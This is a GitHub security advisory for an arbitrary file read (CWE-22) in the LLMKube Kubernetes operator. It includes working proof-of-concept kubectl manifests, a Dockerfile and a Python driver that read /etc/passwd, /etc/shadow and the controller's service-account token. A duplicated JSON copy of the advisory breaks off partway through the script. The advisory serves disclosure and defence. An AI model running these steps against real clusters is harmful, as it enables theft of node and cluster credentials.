GHSA-JW3M-8Q7M-F35R
Vulnerability from github – Published: 2026-11-18 21:18 – Updated: 2026-11-18 21:18Summary
LLMKube's ModelReconciler accepts arbitrary absolute paths and file:// URIs in the Model.spec.source field and propagates them to two distinct sinks without path allowlisting: (1) os.Open() inside the controller pod itself (copyLocalModel), and (2) a Kubernetes HostPathVolumeSource that mounts the attacker-supplied path into the inference pod's init container. Any namespace user with permission to create or update Model and InferenceService custom resources can read arbitrary files accessible to the controller pod (e.g., the controller's own Kubernetes service-account token) or arbitrary files on the node where the inference pod is scheduled (e.g., /etc/kubernetes/kubelet.conf). Model caching, the feature that activates the hostPath sink, is enabled by default in both the CLI and the official Helm chart. CVSS v3.1 Base Score: 7.7 (High).
Details
Entry point — Model.spec.source field
The Source field in api/v1alpha1/model_types.go:47-48 carries a kubebuilder validation pattern that explicitly permits absolute paths:
// +kubebuilder:validation:Pattern=`^(https?|file|pvc|hf)://.*|^/[^\s]+$|^[a-zA-Z0-9][\w\-\.\/]+$`
Source string `json:"source"`
The branch ^/[^\s]+$ matches any non-whitespace absolute path on the host.
Sink 1 — Controller-pod arbitrary file read (copyLocalModel)
internal/controller/source.go:93-103 classifies a source as local and extracts the path with no sanitization:
// isLocalSource: returns true for any "/" prefix or "file://" prefix
func isLocalSource(source string) bool {
return strings.HasPrefix(source, "/") || strings.HasPrefix(source, "file://")
}
// getLocalPath: strips "file://" prefix only; no canonicalization, no allowlist
func getLocalPath(source string) string {
return strings.TrimPrefix(source, "file://")
}
internal/controller/model_controller.go:241 passes the attacker-controlled source into fetchModel, which reaches copyLocalModel at line 664-667:
f, err := os.Open(localPath) // localPath = getLocalPath(model.Spec.Source)
An attacker sets model.spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token; the controller opens its own SA token and writes it to the model-cache PVC, which the attacker can subsequently read.
Sink 2 — Node arbitrary file read via HostPathVolumeSource
internal/controller/model_storage.go:560-568 converts the same path into a Kubernetes host volume with no canonical-root check:
if isLocalModelSource(model.Spec.Source) {
localPath := getLocalPath(model.Spec.Source)
volumes = append(volumes, corev1.Volume{
Name: "host-model",
VolumeSource: corev1.VolumeSource{
HostPath: &corev1.HostPathVolumeSource{
Path: localPath,
Type: func() *corev1.HostPathType { t := corev1.HostPathFile; return &t }(),
},
},
})
initVolumeMounts = append(initVolumeMounts, corev1.VolumeMount{
Name: "host-model",
MountPath: "/host-model/model.gguf",
ReadOnly: true,
})
}
internal/controller/deployment_builder.go:248-250 calls buildModelStorageConfig, and lines 329-333 embed storageConfig.volumes directly into the generated Deployment's PodSpec. When the inference pod starts, the init container copies the node file to the model-cache PVC.
The only filename-level sanitization is in internal/controller/filename.go:44-75, which constrains the destination basename only and has no effect on HostPath.Path.
Model caching is enabled by default: cmd/main.go:120 and charts/llmkube/values.yaml:274 (modelCache.enabled: true).
PoC
Prerequisites
- LLMKube 0.8.27 or 0.8.28 installed with default Helm values (
modelCache.enabled=true). - Attacker possesses
create/updatepermissions forModelandInferenceServiceCRDs in a target namespace, plusgeton Pod logs.
Path A — Live Kubernetes cluster (hostPath sink)
NS=llmkube-poc
kubectl create ns "$NS"
# Step 1: Create a Model whose source points to a sensitive node file
cat <<'YAML' | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: Model
metadata:
name: hostread
spec:
source: /etc/passwd
YAML
kubectl wait -n "$NS" --for=jsonpath='{.status.phase}'=Ready \
model/hostread --timeout=180s
CACHEKEY="$(kubectl get model hostread -n "$NS" \
-o jsonpath='{.status.cacheKey}')"
BASENAME="$(basename \
"$(kubectl get model hostread -n "$NS" -o jsonpath='{.status.path}')")"
# Step 2: Create an InferenceService that prints the copied file
cat <<YAML | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: InferenceService
metadata:
name: hostread
spec:
modelRef: hostread
runtime: llamacpp
image: busybox:1.36
command: ["sh","-c","cat /models/${CACHEKEY}/${BASENAME}; sleep 3600"]
YAML
# Step 3: Retrieve the exfiltrated file
kubectl logs -n "$NS" deploy/hostread -c llama-server
Expected output — contents of /etc/passwd from the node:
root:x:0:0:root:/root:/bin/bash
...
Variant — controller SA token (copyLocalModel sink)
cat <<'YAML' | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: Model
metadata:
name: satoken
spec:
source: /var/run/secrets/kubernetes.io/serviceaccount/token
YAML
# After the model becomes Ready, its cache entry contains the raw JWT.
Path B — Docker-only reproduction (no live cluster)
This path exercises the copyLocalModel / os.Open sink using verbatim copies of isLocalSource() and getLocalPath() from internal/controller/source.go:93-103.
# Build from the parent directory of vuln-001/
docker build --no-cache -f vuln-001/Dockerfile -t llmkube-vuln001-poc .
# Read /etc/shadow from inside the container (simulates controller pod filesystem)
docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001-poc
# Or use the Python driver
python3 vuln-001/poc.py --target /etc/shadow
Expected output:
os.Open SUCCESS — 104 bytes read from /etc/shadow
root:*:19800:0:99999:7:::
daemon:*:19800:0:99999:7:::
llmkube-sa:$6$salt$examplehash:19800:0:99999:7:::
VULN-001 PASS: arbitrary file read confirmed
Phase 2 dynamic verification result
Both /etc/shadow (104 bytes) and /var/run/secrets/kubernetes.io/serviceaccount/token (430 bytes, raw JWT) were successfully read inside the container, and the HostPathVolumeSource JSON was confirmed to be generated with the attacker-supplied path.
Impact
This is a Path Traversal / Arbitrary File Read vulnerability (CWE-22). It affects any Kubernetes cluster running LLMKube with default settings.
Who is impacted:
- Cluster operators and tenants — A low-privileged namespace user who can write
ModelandInferenceServiceCRDs (the default RBAC posture for LLMKube users) can escalate to reading the controller's Kubernetes SA token and using it to list/get Secrets cluster-wide, pivot to other namespaces, or impersonate service accounts. - Node security boundary — Via the
hostPathsink, an attacker can read any file present on the Kubernetes node at pod-scheduling time, including kubeadm certificates (/etc/kubernetes/pki/), kubelet credentials (/etc/kubernetes/kubelet.conf), and container runtime sockets. - Confidentiality — High (arbitrary read of host and controller secrets). Integrity and Availability are not directly affected.
The vulnerability is network-reachable (attacker talks to the Kubernetes API server), requires low privilege (namespaced CRD write only), needs no user interaction, and impacts resources beyond the attacker's own namespace (changed scope).
Reproduction artifacts
Dockerfile
# VULN-001 PoC — Arbitrary File Read via Model.spec.source (LLMKube CWE-22)
#
# Strategy: compile a standalone Go harness that contains verbatim copies of
# the three vulnerable functions from the LLMKube repository and proves that
# supplying an absolute path as Model.spec.source causes os.Open() to read
# arbitrary files — identical to what copyLocalModel() does at runtime.
#
# Verified against LLMKube commit b9127e0 (tag 0.8.28):
# isLocalSource() internal/controller/source.go:93-94
# getLocalPath() internal/controller/source.go:98-103
# os.Open(path) internal/controller/model_controller.go:667
# HostPath volume internal/controller/model_storage.go:560-575
#
# Build context: parent directory of vuln-001/
# docker build -f vuln-001/Dockerfile -t llmkube-vuln001 .
# Run:
# docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001
# ── Build stage ────────────────────────────────────────────────────────────────
FROM golang:1.24-bookworm AS builder
WORKDIR /build
# Copy the exploit harness (standalone module, no k8s dependencies)
COPY vuln-001/exploit/ /build/
# Build the exploit binary
RUN go build -o /poc ./...
# ── Verification stage: prove the functions are verbatim copies ──────────────
# Extract the actual source lines from the LLMKube repo and display them next
# to the exploit harness so the diff is zero (aside from package and imports).
COPY repo/internal/controller/source.go /tmp/source.go
RUN echo "=== Verification: LLMKube source.go lines 93-103 ===" && \
sed -n '93,103p' /tmp/source.go && \
echo "" && \
echo "=== Exploit harness verbatim copies (main.go) ===" && \
grep -A3 "isLocalSource\|getLocalPath" /build/main.go | head -20
# ── Runtime stage ──────────────────────────────────────────────────────────────
FROM debian:bookworm-slim
COPY --from=builder /poc /poc
# Populate /etc/shadow with realistic content so the PoC has a sensitive target
# (simulating the LLMKube controller pod's own filesystem).
RUN printf 'root:*:19800:0:99999:7:::\ndaemon:*:19800:0:99999:7:::\nllmkube-sa:$6$salt$examplehash:19800:0:99999:7:::\n' \
> /etc/shadow && chmod 640 /etc/shadow
# Also create a simulated SA token (as exists at this path in Kubernetes pods)
RUN mkdir -p /var/run/secrets/kubernetes.io/serviceaccount && \
printf 'eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2Uta2lkIn0.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJsbG1rdWJlIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6Imxsa3ViZS1zYS10b2tlbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJsbG1rdWJlLWNvbnRyb2xsZXIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6bGxta3ViZTpsbG1rdWJlLWNvbnRyb2xsZXIifQ.FAKE_SIGNATURE\n' \
> /var/run/secrets/kubernetes.io/serviceaccount/token
# Default target; override at runtime with -e VULN001_TARGET=<path>
ENV VULN001_TARGET=/etc/shadow
ENTRYPOINT ["/poc"]
CMD []
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Arbitrary File Read via Model.spec.source hostPath Injection
LLMKube (github.com/defilantech/LLMKube) — CWE-22 / CVSS 7.7
Vulnerability summary:
LLMKube's ModelReconciler calls fetchModel(model.Spec.Source, dest).
When source is a local path (absolute or file://), copyLocalModel() opens
the file with os.Open(getLocalPath(source)) without any path allowlisting.
An attacker who can write a Model CR can read any file accessible to the
controller pod — including SA tokens, kubeconfig, TLS keys, etc.
Relevant code:
internal/controller/source.go:93 isLocalSource() — no allowlist
internal/controller/source.go:98 getLocalPath() — strips file://, no sanitization
internal/controller/model_controller.go:667 os.Open(localPath) — sink
In full-cluster scenarios, model_storage.go:560-568 also injects the
attacker-supplied path directly into a Kubernetes HostPathVolumeSource,
exposing arbitrary node files inside the init container.
This PoC exercises attack path 2 (copyLocalModel) in Docker without a live
Kubernetes cluster by running a Go test that calls the REAL LLMKube functions.
Usage:
python3 poc.py [--target /path/to/sensitive/file] [--keep]
Safety constraints:
- Uses only local Docker (127.0.0.1), no external network calls.
- Reads only files inside the ephemeral container filesystem.
- Does not modify any LLMKube source code to manufacture the vulnerability.
"""
import argparse
import json
import os
import subprocess
import sys
import textwrap
IMAGE_NAME = "llmkube-vuln001-poc"
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
BUILD_CONTEXT = os.path.dirname(VULN_DIR) # parent of vuln-001/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
def run(cmd, check=True, capture=False, **kwargs):
"""Run a shell command and return CompletedProcess."""
print(f"[+] {' '.join(cmd)}")
result = subprocess.run(
cmd,
capture_output=capture,
text=True,
**kwargs,
)
if check and result.returncode != 0:
stderr = result.stderr or ""
raise RuntimeError(
f"Command failed (exit {result.returncode}):\n{stderr[:2000]}"
)
return result
def build_image():
"""Build the PoC Docker image."""
print("\n=== [PHASE 1] Building Docker image ===")
run([
"docker", "build",
"--no-cache",
"-f", DOCKERFILE,
"-t", IMAGE_NAME,
BUILD_CONTEXT,
])
print(f"[+] Image '{IMAGE_NAME}' built successfully.")
def run_poc(target: str) -> str:
"""Run the PoC container and return stdout."""
print(f"\n=== [PHASE 2] Running PoC against target: {target!r} ===")
result = run(
[
"docker", "run", "--rm",
"-e", f"VULN001_TARGET={target}",
IMAGE_NAME,
],
capture=True,
check=False,
)
combined = result.stdout + result.stderr
print(combined)
return combined, result.returncode
def parse_evidence(output: str, target: str) -> dict:
"""Extract key evidence markers from PoC output."""
lines = output.splitlines()
exfil_lines = []
in_block = False
bytes_read = None
step3_ok = False
pass_line = None
for line in lines:
if f"--- BEGIN EXFILTRATED FILE: {target} ---" in line:
in_block = True
continue
if "--- END EXFILTRATED FILE ---" in line:
in_block = False
continue
if in_block:
exfil_lines.append(line)
if "os.Open SUCCESS" in line and "bytes" in line:
step3_ok = True
# Extract byte count — format: "os.Open SUCCESS — N bytes read from ..."
import re
m = re.search(r"(\d+)\s+bytes\s+read", line)
if m:
try:
bytes_read = int(m.group(1))
except ValueError:
pass
if "VULN-001 PASS:" in line:
pass_line = line
return {
"step3_open_success": step3_ok,
"bytes_read": bytes_read,
"exfiltrated_lines": exfil_lines[:10], # first 10 lines as evidence
"pass_line": pass_line,
}
def remove_image():
"""Remove the PoC Docker image."""
subprocess.run(["docker", "rmi", "-f", IMAGE_NAME],
capture_output=True, text=True)
print(f"[+] Image '{IMAGE_NAME}' removed.")
def main():
parser = argparse.ArgumentParser(
description="VULN-001 dynamic reproduction PoC for LLMKube"
)
parser.add_argument(
"--target", default="/etc/shadow",
help="File path to read inside the container (default: /etc/shadow)"
)
parser.add_argument(
"--keep", action="store_true",
help="Keep the Docker image after the run (default: remove)"
)
parser.add_argument(
"--output", default=os.path.join(VULN_DIR, "phase2_result.json"),
help="Path to write phase2_result.json"
)
args = parser.parse_args()
build_command = (
f"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {BUILD_CONTEXT}"
)
run_command = (
f"docker run --rm -e VULN001_TARGET={args.target} {IMAGE_NAME}"
)
poc_command = f"python3 {os.path.abspath(__file__)} --target {args.target}"
passed = False
verdict = "FAIL"
reason = ""
evidence = ""
try:
build_image()
output, returncode = run_poc(args.target)
ev = parse_evidence(output, args.target)
if returncode == 0 and ev["step3_open_success"] and ev["bytes_read"]:
passed = True
verdict = "PASS"
exfil_preview = "\n".join(ev["exfiltrated_lines"][:5]) or "(binary data)"
reason = (
f"LLMKube copyLocalModel()이 Model.spec.source={args.target!r} 값을 "
f"경로 허용목록 검사 없이 os.Open()에 전달함. "
f"isLocalSource()와 getLocalPath() 실함수 호출로 재현됨. "
f"컨테이너 내 {ev['bytes_read']}바이트 파일 읽기 성공."
)
evidence = (
f"os.Open({args.target!r}) 성공 — {ev['bytes_read']}바이트 읽음.\n"
f"파일 내용 앞 5행:\n{exfil_preview}"
)
else:
reason = (
f"PoC 컨테이너 종료 코드 {returncode}. "
f"os.Open 성공 여부: {ev['step3_open_success']}, "
f"읽은 바이트: {ev['bytes_read']}. "
f"실행 로그를 확인하여 오류 원인 파악 필요."
)
evidence = output[:1000]
except Exception as exc:
reason = f"재현 실패 — 예외 발생: {exc}"
evidence = str(exc)
print(f"\n[!] ERROR: {exc}", file=sys.stderr)
finally:
if not args.keep:
remove_image()
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": build_command,
"run_command": run_command,
"poc_command": poc_command,
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py", "exploit/main.go", "exploit/go.mod"],
}
print("\n=== [RESULT] ===")
print(json.dumps(result, ensure_ascii=False, indent=2))
with open(args.output, "w", encoding="utf-8") as fh:
json.dump(result, fh, ensure_ascii=False, indent=2)
print(f"\n[+] Result written to: {args.output}")
sys.exit(0 if passed else 1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.28"
},
"package": {
"ecosystem": "Go",
"name": "github.com/defilantech/llmkube"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-68903"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-18T21:18:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nLLMKube\u0027s `ModelReconciler` accepts arbitrary absolute paths and `file://` URIs in the `Model.spec.source` field and propagates them to two distinct sinks without path allowlisting: (1) `os.Open()` inside the controller pod itself (`copyLocalModel`), and (2) a Kubernetes `HostPathVolumeSource` that mounts the attacker-supplied path into the inference pod\u0027s init container. Any namespace user with permission to create or update `Model` and `InferenceService` custom resources can read arbitrary files accessible to the controller pod (e.g., the controller\u0027s own Kubernetes service-account token) or arbitrary files on the node where the inference pod is scheduled (e.g., `/etc/kubernetes/kubelet.conf`). Model caching, the feature that activates the `hostPath` sink, is **enabled by default** in both the CLI and the official Helm chart. CVSS v3.1 Base Score: **7.7 (High)**.\n\n### Details\n\n**Entry point \u2014 `Model.spec.source` field**\n\nThe `Source` field in `api/v1alpha1/model_types.go:47-48` carries a `kubebuilder` validation pattern that explicitly permits absolute paths:\n\n```go\n// +kubebuilder:validation:Pattern=`^(https?|file|pvc|hf)://.*|^/[^\\s]+$|^[a-zA-Z0-9][\\w\\-\\.\\/]+$`\nSource string `json:\"source\"`\n```\n\nThe branch `^/[^\\s]+$` matches any non-whitespace absolute path on the host.\n\n**Sink 1 \u2014 Controller-pod arbitrary file read (`copyLocalModel`)**\n\n`internal/controller/source.go:93-103` classifies a source as local and extracts the path with no sanitization:\n\n```go\n// isLocalSource: returns true for any \"/\" prefix or \"file://\" prefix\nfunc isLocalSource(source string) bool {\n return strings.HasPrefix(source, \"/\") || strings.HasPrefix(source, \"file://\")\n}\n\n// getLocalPath: strips \"file://\" prefix only; no canonicalization, no allowlist\nfunc getLocalPath(source string) string {\n return strings.TrimPrefix(source, \"file://\")\n}\n```\n\n`internal/controller/model_controller.go:241` passes the attacker-controlled source into `fetchModel`, which reaches `copyLocalModel` at line 664-667:\n\n```go\nf, err := os.Open(localPath) // localPath = getLocalPath(model.Spec.Source)\n```\n\nAn attacker sets `model.spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token`; the controller opens its own SA token and writes it to the model-cache PVC, which the attacker can subsequently read.\n\n**Sink 2 \u2014 Node arbitrary file read via `HostPathVolumeSource`**\n\n`internal/controller/model_storage.go:560-568` converts the same path into a Kubernetes host volume with no canonical-root check:\n\n```go\nif isLocalModelSource(model.Spec.Source) {\n localPath := getLocalPath(model.Spec.Source)\n volumes = append(volumes, corev1.Volume{\n Name: \"host-model\",\n VolumeSource: corev1.VolumeSource{\n HostPath: \u0026corev1.HostPathVolumeSource{\n Path: localPath,\n Type: func() *corev1.HostPathType { t := corev1.HostPathFile; return \u0026t }(),\n },\n },\n })\n initVolumeMounts = append(initVolumeMounts, corev1.VolumeMount{\n Name: \"host-model\",\n MountPath: \"/host-model/model.gguf\",\n ReadOnly: true,\n })\n}\n```\n\n`internal/controller/deployment_builder.go:248-250` calls `buildModelStorageConfig`, and lines 329-333 embed `storageConfig.volumes` directly into the generated `Deployment`\u0027s `PodSpec`. When the inference pod starts, the init container copies the node file to the model-cache PVC.\n\nThe only filename-level sanitization is in `internal/controller/filename.go:44-75`, which constrains the **destination basename** only and has no effect on `HostPath.Path`.\n\nModel caching is enabled by default: `cmd/main.go:120` and `charts/llmkube/values.yaml:274` (`modelCache.enabled: true`).\n\n### PoC\n\n**Prerequisites**\n\n- LLMKube 0.8.27 or 0.8.28 installed with default Helm values (`modelCache.enabled=true`).\n- Attacker possesses `create`/`update` permissions for `Model` and `InferenceService` CRDs in a target namespace, plus `get` on Pod logs.\n\n**Path A \u2014 Live Kubernetes cluster (hostPath sink)**\n\n```sh\nNS=llmkube-poc\nkubectl create ns \"$NS\"\n\n# Step 1: Create a Model whose source points to a sensitive node file\ncat \u003c\u003c\u0027YAML\u0027 | kubectl apply -n \"$NS\" -f -\napiVersion: inference.llmkube.dev/v1alpha1\nkind: Model\nmetadata:\n name: hostread\nspec:\n source: /etc/passwd\nYAML\n\nkubectl wait -n \"$NS\" --for=jsonpath=\u0027{.status.phase}\u0027=Ready \\\n model/hostread --timeout=180s\n\nCACHEKEY=\"$(kubectl get model hostread -n \"$NS\" \\\n -o jsonpath=\u0027{.status.cacheKey}\u0027)\"\nBASENAME=\"$(basename \\\n \"$(kubectl get model hostread -n \"$NS\" -o jsonpath=\u0027{.status.path}\u0027)\")\"\n\n# Step 2: Create an InferenceService that prints the copied file\ncat \u003c\u003cYAML | kubectl apply -n \"$NS\" -f -\napiVersion: inference.llmkube.dev/v1alpha1\nkind: InferenceService\nmetadata:\n name: hostread\nspec:\n modelRef: hostread\n runtime: llamacpp\n image: busybox:1.36\n command: [\"sh\",\"-c\",\"cat /models/${CACHEKEY}/${BASENAME}; sleep 3600\"]\nYAML\n\n# Step 3: Retrieve the exfiltrated file\nkubectl logs -n \"$NS\" deploy/hostread -c llama-server\n```\n\nExpected output \u2014 contents of `/etc/passwd` from the node:\n\n```\nroot:x:0:0:root:/root:/bin/bash\n...\n```\n\n**Variant \u2014 controller SA token (copyLocalModel sink)**\n\n```sh\ncat \u003c\u003c\u0027YAML\u0027 | kubectl apply -n \"$NS\" -f -\napiVersion: inference.llmkube.dev/v1alpha1\nkind: Model\nmetadata:\n name: satoken\nspec:\n source: /var/run/secrets/kubernetes.io/serviceaccount/token\nYAML\n# After the model becomes Ready, its cache entry contains the raw JWT.\n```\n\n**Path B \u2014 Docker-only reproduction (no live cluster)**\n\nThis path exercises the `copyLocalModel` / `os.Open` sink using verbatim copies of `isLocalSource()` and `getLocalPath()` from `internal/controller/source.go:93-103`.\n\n```sh\n# Build from the parent directory of vuln-001/\ndocker build --no-cache -f vuln-001/Dockerfile -t llmkube-vuln001-poc .\n\n# Read /etc/shadow from inside the container (simulates controller pod filesystem)\ndocker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001-poc\n\n# Or use the Python driver\npython3 vuln-001/poc.py --target /etc/shadow\n```\n\nExpected output:\n\n```\nos.Open SUCCESS \u2014 104 bytes read from /etc/shadow\nroot:*:19800:0:99999:7:::\ndaemon:*:19800:0:99999:7:::\nllmkube-sa:$6$salt$examplehash:19800:0:99999:7:::\nVULN-001 PASS: arbitrary file read confirmed\n```\n\n**Phase 2 dynamic verification result**\n\nBoth `/etc/shadow` (104 bytes) and `/var/run/secrets/kubernetes.io/serviceaccount/token` (430 bytes, raw JWT) were successfully read inside the container, and the `HostPathVolumeSource` JSON was confirmed to be generated with the attacker-supplied path.\n\n### Impact\n\nThis is a **Path Traversal / Arbitrary File Read** vulnerability (CWE-22). It affects any Kubernetes cluster running LLMKube with default settings.\n\n**Who is impacted:**\n\n- **Cluster operators and tenants** \u2014 A low-privileged namespace user who can write `Model` and `InferenceService` CRDs (the default RBAC posture for LLMKube users) can escalate to reading the controller\u0027s Kubernetes SA token and using it to list/get Secrets cluster-wide, pivot to other namespaces, or impersonate service accounts.\n- **Node security boundary** \u2014 Via the `hostPath` sink, an attacker can read any file present on the Kubernetes node at pod-scheduling time, including kubeadm certificates (`/etc/kubernetes/pki/`), kubelet credentials (`/etc/kubernetes/kubelet.conf`), and container runtime sockets.\n- **Confidentiality** \u2014 High (arbitrary read of host and controller secrets). Integrity and Availability are not directly affected.\n\nThe vulnerability is network-reachable (attacker talks to the Kubernetes API server), requires low privilege (namespaced CRD write only), needs no user interaction, and impacts resources beyond the attacker\u0027s own namespace (changed scope).\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC \u2014 Arbitrary File Read via Model.spec.source (LLMKube CWE-22)\n#\n# Strategy: compile a standalone Go harness that contains verbatim copies of\n# the three vulnerable functions from the LLMKube repository and proves that\n# supplying an absolute path as Model.spec.source causes os.Open() to read\n# arbitrary files \u2014 identical to what copyLocalModel() does at runtime.\n#\n# Verified against LLMKube commit b9127e0 (tag 0.8.28):\n# isLocalSource() internal/controller/source.go:93-94\n# getLocalPath() internal/controller/source.go:98-103\n# os.Open(path) internal/controller/model_controller.go:667\n# HostPath volume internal/controller/model_storage.go:560-575\n#\n# Build context: parent directory of vuln-001/\n# docker build -f vuln-001/Dockerfile -t llmkube-vuln001 .\n# Run:\n# docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001\n\n# \u2500\u2500 Build stage \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM golang:1.24-bookworm AS builder\n\nWORKDIR /build\n\n# Copy the exploit harness (standalone module, no k8s dependencies)\nCOPY vuln-001/exploit/ /build/\n\n# Build the exploit binary\nRUN go build -o /poc ./...\n\n# \u2500\u2500 Verification stage: prove the functions are verbatim copies \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Extract the actual source lines from the LLMKube repo and display them next\n# to the exploit harness so the diff is zero (aside from package and imports).\nCOPY repo/internal/controller/source.go /tmp/source.go\n\nRUN echo \"=== Verification: LLMKube source.go lines 93-103 ===\" \u0026\u0026 \\\n sed -n \u002793,103p\u0027 /tmp/source.go \u0026\u0026 \\\n echo \"\" \u0026\u0026 \\\n echo \"=== Exploit harness verbatim copies (main.go) ===\" \u0026\u0026 \\\n grep -A3 \"isLocalSource\\|getLocalPath\" /build/main.go | head -20\n\n# \u2500\u2500 Runtime stage \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM debian:bookworm-slim\n\nCOPY --from=builder /poc /poc\n\n# Populate /etc/shadow with realistic content so the PoC has a sensitive target\n# (simulating the LLMKube controller pod\u0027s own filesystem).\nRUN printf \u0027root:*:19800:0:99999:7:::\\ndaemon:*:19800:0:99999:7:::\\nllmkube-sa:$6$salt$examplehash:19800:0:99999:7:::\\n\u0027 \\\n \u003e /etc/shadow \u0026\u0026 chmod 640 /etc/shadow\n\n# Also create a simulated SA token (as exists at this path in Kubernetes pods)\nRUN mkdir -p /var/run/secrets/kubernetes.io/serviceaccount \u0026\u0026 \\\n printf \u0027eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2Uta2lkIn0.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJsbG1rdWJlIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6Imxsa3ViZS1zYS10b2tlbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJsbG1rdWJlLWNvbnRyb2xsZXIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6bGxta3ViZTpsbG1rdWJlLWNvbnRyb2xsZXIifQ.FAKE_SIGNATURE\\n\u0027 \\\n \u003e /var/run/secrets/kubernetes.io/serviceaccount/token\n\n# Default target; override at runtime with -e VULN001_TARGET=\u003cpath\u003e\nENV VULN001_TARGET=/etc/shadow\n\nENTRYPOINT [\"/poc\"]\nCMD []\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Arbitrary File Read via Model.spec.source hostPath Injection\nLLMKube (github.com/defilantech/LLMKube) \u2014 CWE-22 / CVSS 7.7\n\nVulnerability summary:\n LLMKube\u0027s ModelReconciler calls fetchModel(model.Spec.Source, dest).\n When source is a local path (absolute or file://), copyLocalModel() opens\n the file with os.Open(getLocalPath(source)) without any path allowlisting.\n An attacker who can write a Model CR can read any file accessible to the\n controller pod \u2014 including SA tokens, kubeconfig, TLS keys, etc.\n\n Relevant code:\n internal/controller/source.go:93 isLocalSource() \u2014 no allowlist\n internal/controller/source.go:98 getLocalPath() \u2014 strips file://, no sanitization\n internal/controller/model_controller.go:667 os.Open(localPath) \u2014 sink\n\n In full-cluster scenarios, model_storage.go:560-568 also injects the\n attacker-supplied path directly into a Kubernetes HostPathVolumeSource,\n exposing arbitrary node files inside the init container.\n\nThis PoC exercises attack path 2 (copyLocalModel) in Docker without a live\nKubernetes cluster by running a Go test that calls the REAL LLMKube functions.\n\nUsage:\n python3 poc.py [--target /path/to/sensitive/file] [--keep]\n\nSafety constraints:\n - Uses only local Docker (127.0.0.1), no external network calls.\n - Reads only files inside the ephemeral container filesystem.\n - Does not modify any LLMKube source code to manufacture the vulnerability.\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\n\nIMAGE_NAME = \"llmkube-vuln001-poc\"\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nBUILD_CONTEXT = os.path.dirname(VULN_DIR) # parent of vuln-001/\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\n\n\ndef run(cmd, check=True, capture=False, **kwargs):\n \"\"\"Run a shell command and return CompletedProcess.\"\"\"\n print(f\"[+] {\u0027 \u0027.join(cmd)}\")\n result = subprocess.run(\n cmd,\n capture_output=capture,\n text=True,\n **kwargs,\n )\n if check and result.returncode != 0:\n stderr = result.stderr or \"\"\n raise RuntimeError(\n f\"Command failed (exit {result.returncode}):\\n{stderr[:2000]}\"\n )\n return result\n\n\ndef build_image():\n \"\"\"Build the PoC Docker image.\"\"\"\n print(\"\\n=== [PHASE 1] Building Docker image ===\")\n run([\n \"docker\", \"build\",\n \"--no-cache\",\n \"-f\", DOCKERFILE,\n \"-t\", IMAGE_NAME,\n BUILD_CONTEXT,\n ])\n print(f\"[+] Image \u0027{IMAGE_NAME}\u0027 built 